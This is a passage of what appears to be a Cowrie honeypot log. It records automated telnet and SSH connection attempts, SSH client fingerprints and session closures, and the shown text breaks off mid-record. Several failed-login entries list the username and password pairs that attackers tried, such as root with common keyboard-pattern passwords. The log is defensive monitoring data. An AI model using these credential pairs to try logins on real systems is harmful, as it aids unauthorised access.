{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"3323ac3c2216","protocol":"telnet","message":"New connection: 159.223.86.167:48060 (159.203.135.109:23) [session: 3323ac3c2216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:56.531502Z"}
{"eventid":"cowrie.session.closed","duration":30.799662351608276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:57.180343Z","src_ip":"159.223.86.167","session":"f5cadc9838b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49608,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2400167f8ee","protocol":"ssh","message":"New connection: 176.65.139.103:49608 (10.17.0.5:22) [session: d2400167f8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:57.988875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:57.998116Z","src_ip":"176.65.139.103","session":"d2400167f8ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:58.081710Z","src_ip":"176.65.139.103","session":"d2400167f8ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:58.347893Z","src_ip":"176.65.139.103","session":"d2400167f8ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":19505,"dst_ip":"10.17.0.5","dst_port":22,"session":"398898f5dfc4","protocol":"ssh","message":"New connection: 74.87.117.149:19505 (10.17.0.5:22) [session: 398898f5dfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:58.903227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:58.908103Z","src_ip":"74.87.117.149","session":"398898f5dfc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:58.932438Z","src_ip":"74.87.117.149","session":"398898f5dfc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"1qaz2wsx","message":"login attempt [userftp/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:59.059500Z","src_ip":"74.87.117.149","session":"398898f5dfc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:59.432182Z","src_ip":"176.65.139.103","session":"d2400167f8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.578202724456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:59.801517Z","src_ip":"159.223.86.167","session":"90678cf3ab08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:00.089976Z","src_ip":"74.87.117.149","session":"398898f5dfc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.816795110702515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:01.582457Z","src_ip":"213.136.75.179","session":"05892f95f3f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37160,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2c16ded462","protocol":"telnet","message":"New connection: 159.223.86.167:37160 (159.203.135.109:23) [session: 6b2c16ded462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:01.779022Z"}
{"eventid":"cowrie.session.closed","duration":32.55081272125244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:02.199134Z","src_ip":"213.136.75.179","session":"ff5ea79432cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82516384124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:02.258527Z","src_ip":"213.136.75.179","session":"8c374f941db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76081562042236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:03.129812Z","src_ip":"213.136.75.179","session":"a7a8fcedbc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.714499950408936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:03.720299Z","src_ip":"159.223.86.167","session":"17370a9931e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48688,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d3756acbdf","protocol":"telnet","message":"New connection: 159.223.86.167:48688 (159.203.135.109:23) [session: 77d3756acbdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:03.909853Z"}
{"eventid":"cowrie.session.closed","duration":30.821601152420044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.128331Z","src_ip":"159.223.86.167","session":"21fc23bdc224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528231859207153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.172013Z","src_ip":"159.223.86.167","session":"3bdd494afafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40af869fb5e","protocol":"ssh","message":"New connection: 176.65.139.103:45948 (10.17.0.5:22) [session: c40af869fb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.579874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.585578Z","src_ip":"176.65.139.103","session":"c40af869fb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.689388Z","src_ip":"176.65.139.103","session":"c40af869fb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:04.969652Z","src_ip":"176.65.139.103","session":"c40af869fb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51fe5c5fa95","protocol":"telnet","message":"New connection: 213.136.75.179:40256 (10.17.0.5:23) [session: f51fe5c5fa95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:05.345294Z"}
{"eventid":"cowrie.session.closed","duration":30.98993945121765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:06.130317Z","src_ip":"155.117.234.131","session":"ad3dd316a0d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:06.189837Z","src_ip":"176.65.139.103","session":"c40af869fb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.99030613899231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:06.961598Z","src_ip":"23.254.167.244","session":"a3036d03e7ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784051179885864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:07.131429Z","src_ip":"159.223.86.167","session":"8910aad8dbcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f27d64f297a4","protocol":"telnet","message":"New connection: 213.136.75.179:40272 (10.17.0.5:23) [session: f27d64f297a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:07.143062Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3149b7915785","protocol":"telnet","message":"New connection: 159.223.86.167:35900 (159.203.135.109:23) [session: 3149b7915785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:07.722796Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39236,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d5775b6579e","protocol":"telnet","message":"New connection: 213.136.75.179:39236 (10.17.0.5:23) [session: 2d5775b6579e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:07.898965Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37376,"dst_ip":"159.203.135.109","dst_port":23,"session":"d018b6d4e0f2","protocol":"telnet","message":"New connection: 159.223.86.167:37376 (159.203.135.109:23) [session: d018b6d4e0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:08.036923Z"}
{"eventid":"cowrie.session.closed","duration":31.1967031955719,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:08.253526Z","src_ip":"159.223.86.167","session":"bb4b73335aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d4280093ee","protocol":"telnet","message":"New connection: 213.136.75.179:39244 (10.17.0.5:23) [session: b4d4280093ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:09.309994Z"}
{"eventid":"cowrie.session.closed","duration":32.49743723869324,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:09.522994Z","src_ip":"213.136.75.179","session":"3b53fd0ae3f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29835057258606,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:10.437516Z","src_ip":"213.136.75.179","session":"40d2da61b387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":46860,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66e1c86f42f","protocol":"telnet","message":"New connection: 159.223.86.167:46860 (159.203.135.109:23) [session: b66e1c86f42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:10.453681Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"604907e102f9","protocol":"telnet","message":"New connection: 159.223.86.167:48138 (159.203.135.109:23) [session: 604907e102f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:10.715337Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45344,"dst_ip":"159.203.135.109","dst_port":23,"session":"c35e57af1658","protocol":"telnet","message":"New connection: 159.223.86.167:45344 (159.203.135.109:23) [session: c35e57af1658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.003090Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.101.84.150","src_port":50358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4000c6824260","protocol":"telnet","message":"New connection: 5.101.84.150:50358 (10.17.0.5:23) [session: 4000c6824260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.221594Z"}
{"eventid":"cowrie.session.closed","duration":31.35016131401062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.310153Z","src_ip":"159.223.86.167","session":"da135b512985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45976,"dst_ip":"10.17.0.5","dst_port":22,"session":"5abd9771c8c6","protocol":"ssh","message":"New connection: 176.65.139.103:45976 (10.17.0.5:22) [session: 5abd9771c8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.388961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.413956Z","src_ip":"176.65.139.103","session":"5abd9771c8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.534388542175293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.456793Z","src_ip":"159.223.86.167","session":"0a27175fe426","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.486221Z","src_ip":"176.65.139.103","session":"5abd9771c8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51472,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba5c918e988","protocol":"telnet","message":"New connection: 159.223.86.167:51472 (159.203.135.109:23) [session: 4ba5c918e988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.544962Z"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:11.934409Z","src_ip":"176.65.139.103","session":"5abd9771c8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.585999727249146,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:12.290492Z","src_ip":"213.136.75.179","session":"16df93511f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08328604698181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:12.339506Z","src_ip":"159.223.86.167","session":"8b52e5d6a34c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39246,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac150c1d3ca","protocol":"telnet","message":"New connection: 213.136.75.179:39246 (10.17.0.5:23) [session: aac150c1d3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:12.370841Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55710,"dst_ip":"159.203.135.109","dst_port":23,"session":"090573c16758","protocol":"telnet","message":"New connection: 159.223.86.167:55710 (159.203.135.109:23) [session: 090573c16758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:12.576771Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:13.042060Z","src_ip":"176.65.139.103","session":"5abd9771c8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.09790277481079,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:13.679288Z","src_ip":"213.136.75.179","session":"bf09396d5516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39248,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4607a454032","protocol":"telnet","message":"New connection: 213.136.75.179:39248 (10.17.0.5:23) [session: b4607a454032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:13.718817Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":34700,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e73ddc0c38","protocol":"telnet","message":"New connection: 159.223.86.167:34700 (159.203.135.109:23) [session: e6e73ddc0c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:14.479685Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58416,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5c8fa861b4","protocol":"ssh","message":"New connection: 80.94.92.182:58416 (10.17.0.5:22) [session: ce5c8fa861b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:14.529828Z"}
{"eventid":"cowrie.session.closed","duration":32.620033502578735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:14.659887Z","src_ip":"213.136.75.179","session":"be3356870e60","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:14.680875Z","src_ip":"80.94.92.182","session":"ce5c8fa861b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-